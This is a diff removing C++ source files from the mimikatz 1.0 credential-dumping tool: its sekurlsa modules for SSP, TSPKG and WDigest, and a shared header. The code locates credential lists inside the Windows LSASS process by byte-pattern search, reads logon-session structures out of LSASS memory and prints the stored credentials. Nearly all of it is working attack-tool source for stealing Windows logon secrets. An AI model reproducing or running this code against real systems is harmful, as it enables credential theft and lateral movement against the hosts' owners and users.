wchar_t BuffDomaine[MAX_DOMAIN_LEN];
|
||||
wchar_t BuffUserName[MAX_USERNAME_LEN];
|
||||
} MSV1_0_PRIMARY_CREDENTIAL, *PMSV1_0_PRIMARY_CREDENTIAL;
|
||||
|
||||
static void NlpMakeRelativeOrAbsoluteString(PVOID BaseAddress, PLSA_UNICODE_STRING String, bool relative = true);
|
||||
|
||||
static PLIST_ENTRY LogonSessionList;
|
||||
static PULONG LogonSessionListCount;
|
||||
static bool searchLogonSessionList();
|
||||
|
||||
static bool decryptAndDisplayCredsBlock(LSA_UNICODE_STRING * monBlock, bool justSecurity);
|
||||
public:
|
||||
static bool getMSV(vector<wstring> * arguments);
|
||||
static bool WINAPI getMSVLogonData(__in PLUID logId, __in bool justSecurity);
|
||||
};
|
@ -1,91 +0,0 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#include "ssp.h"
|
||||
mod_process::PKIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa_ssp::pModMSV = NULL;
|
||||
mod_mimikatz_sekurlsa_ssp::PKIWI_SSP_CREDENTIAL_LIST_ENTRY mod_mimikatz_sekurlsa_ssp::SspCredentialList = NULL;
|
||||
|
||||
bool mod_mimikatz_sekurlsa_ssp::getSSP(vector<wstring> * arguments)
|
||||
{
|
||||
vector<pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>> monProvider;
|
||||
monProvider.push_back(pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>(getSSPLogonData, wstring(L"ssp")));
|
||||
return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider);
|
||||
}
|
||||
|
||||
bool mod_mimikatz_sekurlsa_ssp::searchSSPEntryList()
|
||||
{
|
||||
#ifdef _M_X64
|
||||
BYTE PTRN_WIN5_SspCredentialList[]= {0xc7, 0x43, 0x24, 0x43, 0x72, 0x64, 0x41, 0xff, 0x15};
|
||||
LONG OFFS_WIN5_SspCredentialList = sizeof(PTRN_WIN5_SspCredentialList) + 4 + 3;
|
||||
BYTE PTRN_WIN6_SspCredentialList[]= {0xc7, 0x47, 0x24, 0x43, 0x72, 0x64, 0x41, 0x48, 0x89, 0x47, 0x78, 0xff, 0x15};
|
||||
LONG OFFS_WIN6_SspCredentialList = sizeof(PTRN_WIN6_SspCredentialList) + 4 + 3;
|
||||
#elif defined _M_IX86
|
||||
BYTE PTRN_WALL_SspCredentialList[]= {0x1c, 0x43, 0x72, 0x64, 0x41, 0xff, 0x15};
|
||||
LONG OFFS_WALL_SspCredentialList = sizeof(PTRN_WALL_SspCredentialList) + 4 + 1;
|
||||
#endif
|
||||
|
||||
if(mod_mimikatz_sekurlsa::searchLSASSDatas() && pModMSV && !SspCredentialList)
|
||||
{
|
||||
PBYTE *pointeur = NULL; PBYTE pattern = NULL; ULONG taille = 0; LONG offset = 0;
|
||||
pointeur= reinterpret_cast<PBYTE *>(&SspCredentialList);
|
||||
|
||||
#ifdef _M_X64
|
||||
if(mod_system::GLOB_Version.dwMajorVersion < 6)
|
||||
{
|
||||
pattern = PTRN_WIN5_SspCredentialList;
|
||||
taille = sizeof(PTRN_WIN5_SspCredentialList);
|
||||
offset = OFFS_WIN5_SspCredentialList;
|
||||
}
|
||||
else
|
||||
{
|
||||
pattern = PTRN_WIN6_SspCredentialList;
|
||||
taille = sizeof(PTRN_WIN6_SspCredentialList);
|
||||
offset = OFFS_WIN6_SspCredentialList;
|
||||
}
|
||||
#elif defined _M_IX86
|
||||
pattern = PTRN_WALL_SspCredentialList;
|
||||
taille = sizeof(PTRN_WALL_SspCredentialList);
|
||||
offset = OFFS_WALL_SspCredentialList;
|
||||
#endif
|
||||
if(HMODULE monModule = LoadLibrary(L"msv1_0"))
|
||||
{
|
||||
MODULEINFO mesInfos;
|
||||
if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO)))
|
||||
{
|
||||
mod_memory::genericPatternSearch(pointeur, L"msv1_0", pattern, taille, offset);
|
||||
*pointeur += pModMSV->modBaseAddr - reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll);
|
||||
}
|
||||
FreeLibrary(monModule);
|
||||
}
|
||||
}
|
||||
return (SspCredentialList != NULL);
|
||||
}
|
||||
|
||||
bool WINAPI mod_mimikatz_sekurlsa_ssp::getSSPLogonData(__in PLUID logId, __in bool justSecurity)
|
||||
{
|
||||
if(searchSSPEntryList())
|
||||
{
|
||||
KIWI_SSP_CREDENTIAL_LIST_ENTRY mesCredentials;
|
||||
DWORD monNb = 0;
|
||||
if(mod_memory::readMemory(SspCredentialList, &mesCredentials, sizeof(LIST_ENTRY), mod_mimikatz_sekurlsa::hLSASS))
|
||||
{
|
||||
while(mesCredentials.Flink != SspCredentialList)
|
||||
{
|
||||
if(mod_memory::readMemory(mesCredentials.Flink, &mesCredentials, sizeof(KIWI_SSP_CREDENTIAL_LIST_ENTRY), mod_mimikatz_sekurlsa::hLSASS))
|
||||
{
|
||||
if(RtlEqualLuid(logId, &(mesCredentials.LogonId)))
|
||||
{
|
||||
mod_mimikatz_sekurlsa::genericCredsToStream(&mesCredentials.credentials, justSecurity, true, &monNb);
|
||||
monNb++;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
else (*outputStream) << L"n.a. (SSP KO)";
|
||||
|
||||
return true;
|
||||
}
|
@ -1,32 +0,0 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "../mod_mimikatz_sekurlsa.h"
|
||||
|
||||
class mod_mimikatz_sekurlsa_ssp {
|
||||
|
||||
private:
|
||||
typedef struct _KIWI_SSP_CREDENTIAL_LIST_ENTRY {
|
||||
struct _KIWI_SSP_CREDENTIAL_LIST_ENTRY *Flink;
|
||||
struct _KIWI_SSP_CREDENTIAL_LIST_ENTRY *Blink;
|
||||
ULONG References;
|
||||
ULONG CredentialReferences;
|
||||
LUID LogonId;
|
||||
ULONG unk0;
|
||||
ULONG unk1;
|
||||
ULONG unk2;
|
||||
KIWI_GENERIC_PRIMARY_CREDENTIAL credentials;
|
||||
} KIWI_SSP_CREDENTIAL_LIST_ENTRY, *PKIWI_SSP_CREDENTIAL_LIST_ENTRY;
|
||||
|
||||
static PKIWI_SSP_CREDENTIAL_LIST_ENTRY SspCredentialList;
|
||||
static bool searchSSPEntryList();
|
||||
|
||||
public:
|
||||
static mod_process::PKIWI_VERY_BASIC_MODULEENTRY pModMSV;
|
||||
static bool getSSP(vector<wstring> * arguments);
|
||||
static bool WINAPI getSSPLogonData(__in PLUID logId, __in bool justSecurity);
|
||||
};
|
@ -1,93 +0,0 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#include "tspkg.h"
|
||||
mod_process::PKIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa_tspkg::pModTSPKG = NULL;
|
||||
PRTL_AVL_TABLE mod_mimikatz_sekurlsa_tspkg::TSGlobalCredTable = NULL; //reinterpret_cast<PRTL_AVL_TABLE>(NULL);
|
||||
|
||||
bool mod_mimikatz_sekurlsa_tspkg::getTsPkg(vector<wstring> * arguments)
|
||||
{
|
||||
vector<pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>> monProvider;
|
||||
monProvider.push_back(pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>(getTsPkgLogonData, wstring(L"tspkg")));
|
||||
return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider);
|
||||
}
|
||||
|
||||
bool mod_mimikatz_sekurlsa_tspkg::searchTSPKGFuncs()
|
||||
{
|
||||
#ifdef _M_X64
|
||||
BYTE PTRN_WALL_TSGlobalCredTable[] = {0x48, 0x83, 0xec, 0x20, 0x48, 0x8d, 0x0d};
|
||||
LONG OFFS_WALL_TSGlobalCredTable = sizeof(PTRN_WALL_TSGlobalCredTable);
|
||||
#elif defined _M_IX86
|
||||
BYTE PTRN_WNO8_TSGlobalCredTable[] = {0x8b, 0xff, 0x55, 0x8b, 0xec, 0x51, 0x56, 0xbe};
|
||||
LONG OFFS_WNO8_TSGlobalCredTable = sizeof(PTRN_WNO8_TSGlobalCredTable);
|
||||
|
||||
BYTE PTRN_WIN8_TSGlobalCredTable[] = {0x8b, 0xff, 0x53, 0xbb};
|
||||
LONG OFFS_WIN8_TSGlobalCredTable = sizeof(PTRN_WIN8_TSGlobalCredTable);
|
||||
#endif
|
||||
|
||||
if(mod_mimikatz_sekurlsa::searchLSASSDatas() && pModTSPKG && !TSGlobalCredTable)
|
||||
{
|
||||
PBYTE *pointeur = NULL; PBYTE pattern = NULL; ULONG taille = 0; LONG offset = 0;
|
||||
|
||||
pointeur= reinterpret_cast<PBYTE *>(&TSGlobalCredTable);
|
||||
#ifdef _M_X64
|
||||
pattern = PTRN_WALL_TSGlobalCredTable;
|
||||
taille = sizeof(PTRN_WALL_TSGlobalCredTable);
|
||||
offset = OFFS_WALL_TSGlobalCredTable;
|
||||
#elif defined _M_IX86
|
||||
if(mod_system::GLOB_Version.dwBuildNumber < 8000)
|
||||
{
|
||||
pattern = PTRN_WNO8_TSGlobalCredTable;
|
||||
taille = sizeof(PTRN_WNO8_TSGlobalCredTable);
|
||||
offset = OFFS_WNO8_TSGlobalCredTable;
|
||||
}
|
||||
else
|
||||
{
|
||||
pattern = PTRN_WIN8_TSGlobalCredTable;
|
||||
taille = sizeof(PTRN_WIN8_TSGlobalCredTable);
|
||||
offset = OFFS_WIN8_TSGlobalCredTable;
|
||||
}
|
||||
#endif
|
||||
|
||||
if(HMODULE monModule = LoadLibrary(L"tspkg"))
|
||||
{
|
||||
MODULEINFO mesInfos;
|
||||
if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO)))
|
||||
{
|
||||
mod_memory::genericPatternSearch(pointeur, L"tspkg", pattern, taille, offset);
|
||||
*pointeur += pModTSPKG->modBaseAddr - reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll);
|
||||
}
|
||||
FreeLibrary(monModule);
|
||||
}
|
||||
}
|
||||
return (pModTSPKG && TSGlobalCredTable);
|
||||
}
|
||||
|
||||
bool WINAPI mod_mimikatz_sekurlsa_tspkg::getTsPkgLogonData(__in PLUID logId, __in bool justSecurity)
|
||||
{
|
||||
if(searchTSPKGFuncs())
|
||||
{
|
||||
PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds = NULL;
|
||||
BYTE * monBuffP = new BYTE[sizeof(KIWI_TS_CREDENTIAL)], * monBuffC = new BYTE[sizeof(KIWI_TS_PRIMARY_CREDENTIAL)];
|
||||
if(PKIWI_TS_CREDENTIAL pLogSession = reinterpret_cast<PKIWI_TS_CREDENTIAL>(mod_mimikatz_sekurlsa::getPtrFromAVLByLuid(TSGlobalCredTable, FIELD_OFFSET(KIWI_TS_CREDENTIAL, LocallyUniqueIdentifier), logId)))
|
||||
{
|
||||
if(mod_memory::readMemory(pLogSession, monBuffP, sizeof(KIWI_TS_CREDENTIAL), mod_mimikatz_sekurlsa::hLSASS))
|
||||
{
|
||||
pLogSession = reinterpret_cast<PKIWI_TS_CREDENTIAL>(monBuffP);
|
||||
if(pLogSession->pTsPrimary)
|
||||
{
|
||||
if(mod_memory::readMemory(pLogSession->pTsPrimary, monBuffC, sizeof(KIWI_TS_PRIMARY_CREDENTIAL), mod_mimikatz_sekurlsa::hLSASS))
|
||||
mesCreds = &(reinterpret_cast<PKIWI_TS_PRIMARY_CREDENTIAL>(monBuffC)->credentials);
|
||||
}
|
||||
else (*outputStream) << L"n.s. (SuppCred KO) / ";
|
||||
}
|
||||
}
|
||||
mod_mimikatz_sekurlsa::genericCredsToStream(mesCreds, justSecurity, true);
|
||||
delete [] monBuffC, monBuffP;
|
||||
}
|
||||
else (*outputStream) << L"n.a. (tspkg KO)";
|
||||
return true;
|
||||
}
|
@ -1,37 +0,0 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "../mod_mimikatz_sekurlsa.h"
|
||||
|
||||
class mod_mimikatz_sekurlsa_tspkg {
|
||||
|
||||
private:
|
||||
typedef struct _KIWI_TS_PRIMARY_CREDENTIAL {
|
||||
PVOID unk0; // lock ?
|
||||
KIWI_GENERIC_PRIMARY_CREDENTIAL credentials;
|
||||
} KIWI_TS_PRIMARY_CREDENTIAL, *PKIWI_TS_PRIMARY_CREDENTIAL;
|
||||
|
||||
typedef struct _KIWI_TS_CREDENTIAL {
|
||||
#ifdef _M_X64
|
||||
BYTE unk0[108];
|
||||
#elif defined _M_IX86
|
||||
BYTE unk0[64];
|
||||
#endif
|
||||
LUID LocallyUniqueIdentifier;
|
||||
PVOID unk1;
|
||||
PVOID unk2;
|
||||
PKIWI_TS_PRIMARY_CREDENTIAL pTsPrimary;
|
||||
} KIWI_TS_CREDENTIAL, *PKIWI_TS_CREDENTIAL;
|
||||
|
||||
static PRTL_AVL_TABLE TSGlobalCredTable;
|
||||
static bool searchTSPKGFuncs();
|
||||
|
||||
public:
|
||||
static mod_process::PKIWI_VERY_BASIC_MODULEENTRY pModTSPKG;
|
||||
static bool getTsPkg(vector<wstring> * arguments);
|
||||
static bool WINAPI getTsPkgLogonData(__in PLUID logId, __in bool justSecurity);
|
||||
};
|
@ -1,90 +0,0 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#include "wdigest.h"
|
||||
mod_process::PKIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa_wdigest::pModWDIGEST = NULL;
|
||||
mod_mimikatz_sekurlsa_wdigest::PKIWI_WDIGEST_LIST_ENTRY mod_mimikatz_sekurlsa_wdigest::l_LogSessList = NULL;
|
||||
long mod_mimikatz_sekurlsa_wdigest::offsetWDigestPrimary = 0;
|
||||
|
||||
bool mod_mimikatz_sekurlsa_wdigest::getWDigest(vector<wstring> * arguments)
|
||||
{
|
||||
vector<pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>> monProvider;
|
||||
monProvider.push_back(pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>(getWDigestLogonData, wstring(L"wdigest")));
|
||||
return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider);
|
||||
}
|
||||
|
||||
bool mod_mimikatz_sekurlsa_wdigest::searchWDigestEntryList()
|
||||
{
|
||||
#ifdef _M_X64
|
||||
BYTE PTRN_WNO8_InsertInLogSess[]= {0x4c, 0x89, 0x1b, 0x48, 0x89, 0x43, 0x08, 0x49, 0x89, 0x5b, 0x08, 0x48, 0x8d};
|
||||
BYTE PTRN_W8CP_InsertInLogSess[]= {0x4c, 0x89, 0x1b, 0x48, 0x89, 0x4b, 0x08, 0x49, 0x8b, 0x43, 0x08, 0x4c, 0x39};
|
||||
BYTE PTRN_W8RP_InsertInLogSess[]= {0x4c, 0x89, 0x1b, 0x48, 0x89, 0x43, 0x08, 0x49, 0x39, 0x43, 0x08, 0x0f, 0x85};
|
||||
#elif defined _M_IX86
|
||||
BYTE PTRN_WNO8_InsertInLogSess[]= {0x8b, 0x45, 0x08, 0x89, 0x08, 0xc7, 0x40, 0x04};
|
||||
BYTE PTRN_W8CP_InsertInLogSess[]= {0x89, 0x0e, 0x89, 0x56, 0x04, 0x8b, 0x41, 0x04};
|
||||
BYTE PTRN_W8RP_InsertInLogSess[]= {0x89, 0x06, 0x89, 0x4e, 0x04, 0x39, 0x48, 0x04};
|
||||
#endif
|
||||
LONG OFFS_WALL_InsertInLogSess = -4;
|
||||
|
||||
if(mod_mimikatz_sekurlsa::searchLSASSDatas() && pModWDIGEST && !l_LogSessList)
|
||||
{
|
||||
PBYTE *pointeur = NULL; PBYTE pattern = NULL; ULONG taille = 0; LONG offset = 0;
|
||||
|
||||
pointeur= reinterpret_cast<PBYTE *>(&l_LogSessList);
|
||||
offset = OFFS_WALL_InsertInLogSess;
|
||||
if(mod_system::GLOB_Version.dwBuildNumber < 8000)
|
||||
{
|
||||
pattern = PTRN_WNO8_InsertInLogSess;
|
||||
taille = sizeof(PTRN_WNO8_InsertInLogSess);
|
||||
}
|
||||
else if(mod_system::GLOB_Version.dwBuildNumber < 8400)
|
||||
{
|
||||
pattern = PTRN_W8CP_InsertInLogSess;
|
||||
taille = sizeof(PTRN_W8CP_InsertInLogSess);
|
||||
}
|
||||
else
|
||||
{
|
||||
pattern = PTRN_W8RP_InsertInLogSess;
|
||||
taille = sizeof(PTRN_W8RP_InsertInLogSess);
|
||||
}
|
||||
|
||||
if(HMODULE monModule = LoadLibrary(L"wdigest"))
|
||||
{
|
||||
MODULEINFO mesInfos;
|
||||
if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO)))
|
||||
{
|
||||
mod_memory::genericPatternSearch(pointeur, L"wdigest", pattern, taille, offset, "SpInstanceInit", false);
|
||||
*pointeur += pModWDIGEST->modBaseAddr - reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll);
|
||||
}
|
||||
FreeLibrary(monModule);
|
||||
}
|
||||
|
||||
#ifdef _M_X64
|
||||
offsetWDigestPrimary = ((mod_system::GLOB_Version.dwMajorVersion < 6) ? ((mod_system::GLOB_Version.dwMinorVersion < 2) ? 36 : 48) : 48);
|
||||
#elif defined _M_IX86
|
||||
offsetWDigestPrimary = ((mod_system::GLOB_Version.dwMajorVersion < 6) ? ((mod_system::GLOB_Version.dwMinorVersion < 2) ? 36 : 28) : 32);
|
||||
#endif
|
||||
}
|
||||
return (pModWDIGEST && l_LogSessList);
|
||||
}
|
||||
|
||||
bool WINAPI mod_mimikatz_sekurlsa_wdigest::getWDigestLogonData(__in PLUID logId, __in bool justSecurity)
|
||||
{
|
||||
if(searchWDigestEntryList())
|
||||
{
|
||||
PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds = NULL;
|
||||
DWORD taille = offsetWDigestPrimary + sizeof(KIWI_GENERIC_PRIMARY_CREDENTIAL);
|
||||
BYTE * monBuff = new BYTE[taille];
|
||||
if(PLIST_ENTRY pLogSession = mod_mimikatz_sekurlsa::getPtrFromLinkedListByLuid(reinterpret_cast<PLIST_ENTRY>(l_LogSessList), FIELD_OFFSET(KIWI_WDIGEST_LIST_ENTRY, LocallyUniqueIdentifier), logId))
|
||||
if( mod_memory::readMemory(pLogSession, monBuff, taille, mod_mimikatz_sekurlsa::hLSASS))
|
||||
mesCreds = reinterpret_cast<PKIWI_GENERIC_PRIMARY_CREDENTIAL>(reinterpret_cast<PBYTE>(monBuff) + offsetWDigestPrimary);
|
||||
mod_mimikatz_sekurlsa::genericCredsToStream(mesCreds, justSecurity);
|
||||
delete [] monBuff;
|
||||
}
|
||||
else (*outputStream) << L"n.a. (wdigest KO)";
|
||||
|
||||
return true;
|
||||
}
|
@ -1,29 +0,0 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "../mod_mimikatz_sekurlsa.h"
|
||||
|
||||
class mod_mimikatz_sekurlsa_wdigest {
|
||||
|
||||
private:
|
||||
typedef struct _KIWI_WDIGEST_LIST_ENTRY {
|
||||
struct _KIWI_WDIGEST_LIST_ENTRY *Flink;
|
||||
struct _KIWI_WDIGEST_LIST_ENTRY *Blink;
|
||||
DWORD UsageCount;
|
||||
struct _KIWI_WDIGEST_LIST_ENTRY *This;
|
||||
LUID LocallyUniqueIdentifier;
|
||||
} KIWI_WDIGEST_LIST_ENTRY, *PKIWI_WDIGEST_LIST_ENTRY;
|
||||
|
||||
static PKIWI_WDIGEST_LIST_ENTRY l_LogSessList;
|
||||
static long offsetWDigestPrimary;
|
||||
static bool searchWDigestEntryList();
|
||||
|
||||
public:
|
||||
static mod_process::PKIWI_VERY_BASIC_MODULEENTRY pModWDIGEST;
|
||||
static bool getWDigest(vector<wstring> * arguments);
|
||||
static bool WINAPI getWDigestLogonData(__in PLUID logId, __in bool justSecurity);
|
||||
};
|
@ -1,129 +0,0 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#pragma warning(disable:4530 4091)
|
||||
#include <stdio.h>
|
||||
#include <windows.h>
|
||||
#include <ntsecapi.h>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
#include "../global.h"
|
||||
using namespace std;
|
||||
|
||||
#define SECURITY_WIN32
|
||||
#define PAGE_SIZE 0x1000
|
||||
#define MAX_DOMAIN_LEN 24
|
||||
#define MAX_USERNAME_LEN 24
|
||||
|
||||
#define MIMIKATZ L"mimikatz"
|
||||
#ifdef _M_X64
|
||||
#define MIMIKATZ_FULL L"mimikatz 1.0 x64 (RC)"
|
||||
#else ifdef
|
||||
#define MIMIKATZ_FULL L"mimikatz 1.0 x86 (RC)"
|
||||
#endif
|
||||
|
||||
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
|
||||
#define NT_INFORMATION(Status) ((((ULONG)(Status)) >> 30) == 1)
|
||||
#define NT_WARNING(Status) ((((ULONG)(Status)) >> 30) == 2)
|
||||
#define NT_ERROR(Status) ((((ULONG)(Status)) >> 30) == 3)
|
||||
|
||||
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
|
||||
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xc0000004L)
|
||||
#define STATUS_MORE_ENTRIES ((NTSTATUS)0x00000105L)
|
||||
|
||||
#define S_SWAP(a, b) {BYTE t = S[a]; S[a] = S[b]; S[b] = t;}
|
||||
|
||||
typedef bool (* PKIWI_LOCAL_COMMAND) (vector<wstring> * arguments);
|
||||
|
||||
typedef struct _KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND {
|
||||
PKIWI_LOCAL_COMMAND ptrCommand;
|
||||
wstring commandName;
|
||||
wstring commandHelp;
|
||||
_KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(PKIWI_LOCAL_COMMAND command, wstring name, wstring help) : ptrCommand(command), commandName(name), commandHelp(help) {}
|
||||
_KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(PKIWI_LOCAL_COMMAND command, wstring name) : ptrCommand(command), commandName(name), commandHelp() {}
|
||||
} KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND, *PKIWI_MIMIKATZ_LOCAL_MODULE_COMMAND;
|
||||
|
||||
typedef struct _KIWI_MIMIKATZ_LOCAL_MODULE {
|
||||
wstring module;
|
||||
wstring description;
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> commandes;
|
||||
_KIWI_MIMIKATZ_LOCAL_MODULE(wstring leModule, wstring laDescription, vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> lesCommandes) : module(leModule), description(laDescription), commandes(lesCommandes) {}
|
||||
} KIWI_MIMIKATZ_LOCAL_MODULE, *PKIWI_MIMIKATZ_LOCAL_MODULE;
|
||||
|
||||
typedef struct _MIMI_CLIENT_ID {
|
||||
PVOID UniqueProcess;
|
||||
PVOID UniqueThread;
|
||||
} CLIENT_ID, *PCLIENT_ID;
|
||||
|
||||
typedef const ULONG CLONG;
|
||||
typedef const UNICODE_STRING *PCUNICODE_STRING;
|
||||
typedef STRING OEM_STRING;
|
||||
typedef PSTRING POEM_STRING;
|
||||
typedef CONST STRING* PCOEM_STRING;
|
||||
|
||||
/* System* */
|
||||
typedef NTSTATUS (WINAPI * PSYSTEM_FUNCTION_006) (LPCSTR string, BYTE mimi_hash[16]);
|
||||
typedef NTSTATUS (WINAPI * PSYSTEM_FUNCTION_007) (PUNICODE_STRING string, BYTE mimi_hash[16]);
|
||||
typedef NTSTATUS (WINAPI * PSYSTEM_FUNCTION_025) (BYTE[16], DWORD *, BYTE[16]);
|
||||
typedef NTSTATUS (WINAPI * PSYSTEM_FUNCTION_027) (BYTE[16], DWORD *, BYTE[16]);
|
||||
/* CNG */
|
||||
typedef SECURITY_STATUS (WINAPI * PNCRYPT_OPEN_STORAGE_PROVIDER) (__out NCRYPT_PROV_HANDLE *phProvider, __in_opt LPCWSTR pszProviderName, __in DWORD dwFlags);
|
||||
typedef SECURITY_STATUS (WINAPI * PNCRYPT_ENUM_KEYS) (__in NCRYPT_PROV_HANDLE hProvider, __in_opt LPCWSTR pszScope, __deref_out NCryptKeyName **ppKeyName, __inout PVOID * ppEnumState, __in DWORD dwFlags);
|
||||
typedef SECURITY_STATUS (WINAPI * PNCRYPT_OPEN_KEY) (__in NCRYPT_PROV_HANDLE hProvider, __out NCRYPT_KEY_HANDLE *phKey, __in LPCWSTR pszKeyName, __in DWORD dwLegacyKeySpec, __in DWORD dwFlags);
|
||||
typedef SECURITY_STATUS (WINAPI * PNCRYPT_EXPORT_KEY) (__in NCRYPT_KEY_HANDLE hKey, __in_opt NCRYPT_KEY_HANDLE hExportKey, __in LPCWSTR pszBlobType, __in_opt NCryptBufferDesc *pParameterList, __out_opt PBYTE pbOutput, __in DWORD cbOutput, __out DWORD *pcbResult, __in DWORD dwFlags);
|
||||
typedef SECURITY_STATUS (WINAPI * PNCRYPT_GET_PROPERTY) (__in NCRYPT_HANDLE hObject, __in LPCWSTR pszProperty, __out_bcount_part_opt(cbOutput, *pcbResult) PBYTE pbOutput, __in DWORD cbOutput, __out DWORD * pcbResult, __in DWORD dwFlags);
|
||||
typedef SECURITY_STATUS (WINAPI * PNCRYPT_FREE_BUFFER) (__deref PVOID pvInput);
|
||||
typedef SECURITY_STATUS (WINAPI * PNCRYPT_FREE_OBJECT) (__in NCRYPT_HANDLE hObject);
|
||||
typedef NTSTATUS (WINAPI * PBCRYPT_ENUM_REGISTERED_PROVIDERS)(__inout ULONG* pcbBuffer, __deref_opt_inout_bcount_part_opt(*pcbBuffer, *pcbBuffer) PCRYPT_PROVIDERS *ppBuffer);
|
||||
typedef VOID (WINAPI * PBCRYPT_FREE_BUFFER) (__in PVOID pvBuffer);
|
||||
|
||||
typedef NTSTATUS (WINAPI * PBCRYPT_OPEN_ALGORITHM_PROVIDER) (__out BCRYPT_ALG_HANDLE *phAlgorithm, __in LPCWSTR pszAlgId, __in_opt LPCWSTR pszImplementation, __in ULONG dwFlags);
|
||||
typedef NTSTATUS (WINAPI * PBCRYPT_SET_PROPERTY) (__inout BCRYPT_HANDLE hObject, __in LPCWSTR pszProperty, __in_bcount(cbInput) PUCHAR pbInput, __in ULONG cbInput, __in ULONG dwFlags);
|
||||
typedef NTSTATUS (WINAPI * PBCRYPT_GET_PROPERTY) (__in BCRYPT_HANDLE hObject, __in LPCWSTR pszProperty, __out_bcount_part_opt(cbOutput, *pcbResult) PUCHAR pbOutput, __in ULONG cbOutput, __out ULONG *pcbResult, __in ULONG dwFlags);
|
||||
typedef NTSTATUS (WINAPI * PBCRYPT_GENERATE_SYMMETRIC_KEY) (__inout BCRYPT_ALG_HANDLE hAlgorithm, __out BCRYPT_KEY_HANDLE *phKey, __out_bcount_full_opt(cbKeyObject) PUCHAR pbKeyObject, __in ULONG cbKeyObject, __in_bcount(cbSecret) PUCHAR pbSecret, __in ULONG cbSecret, __in ULONG dwFlags);
|
||||
typedef NTSTATUS (WINAPI * PBCRYTP_DESTROY_KEY) (__inout BCRYPT_KEY_HANDLE hKey);
|
||||
typedef NTSTATUS (WINAPI * PBCRYTP_CLOSE_ALGORITHM_PROVIDER) (__inout BCRYPT_ALG_HANDLE hAlgorithm, __in ULONG dwFlags);
|
||||
|
||||
/* Rtl* */
|
||||
#define RtlEqualLuid(L1, L2) (((L1)->LowPart == (L2)->LowPart) && ((L1)->HighPart == (L2)->HighPart))
|
||||
typedef NTSTATUS (WINAPI * PRTL_CREATE_USER_THREAD) (__in HANDLE Process, __in_opt PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, __in char Flags, __in_opt ULONG ZeroBits, __in_opt SIZE_T MaximumStackSize, __in_opt SIZE_T CommittedStackSize, __in PTHREAD_START_ROUTINE StartAddress, __in_opt PVOID Parameter, __out_opt PHANDLE Thread, __out_opt PCLIENT_ID ClientId);
|
||||
typedef VOID (WINAPI * PRTL_INIT_STRING) (PSTRING DestinationString, PCSTR SourceString);
|
||||
typedef VOID (WINAPI * PRTL_INIT_UNICODESTRING) (PUNICODE_STRING DestinationString, PCWSTR SourceString);
|
||||
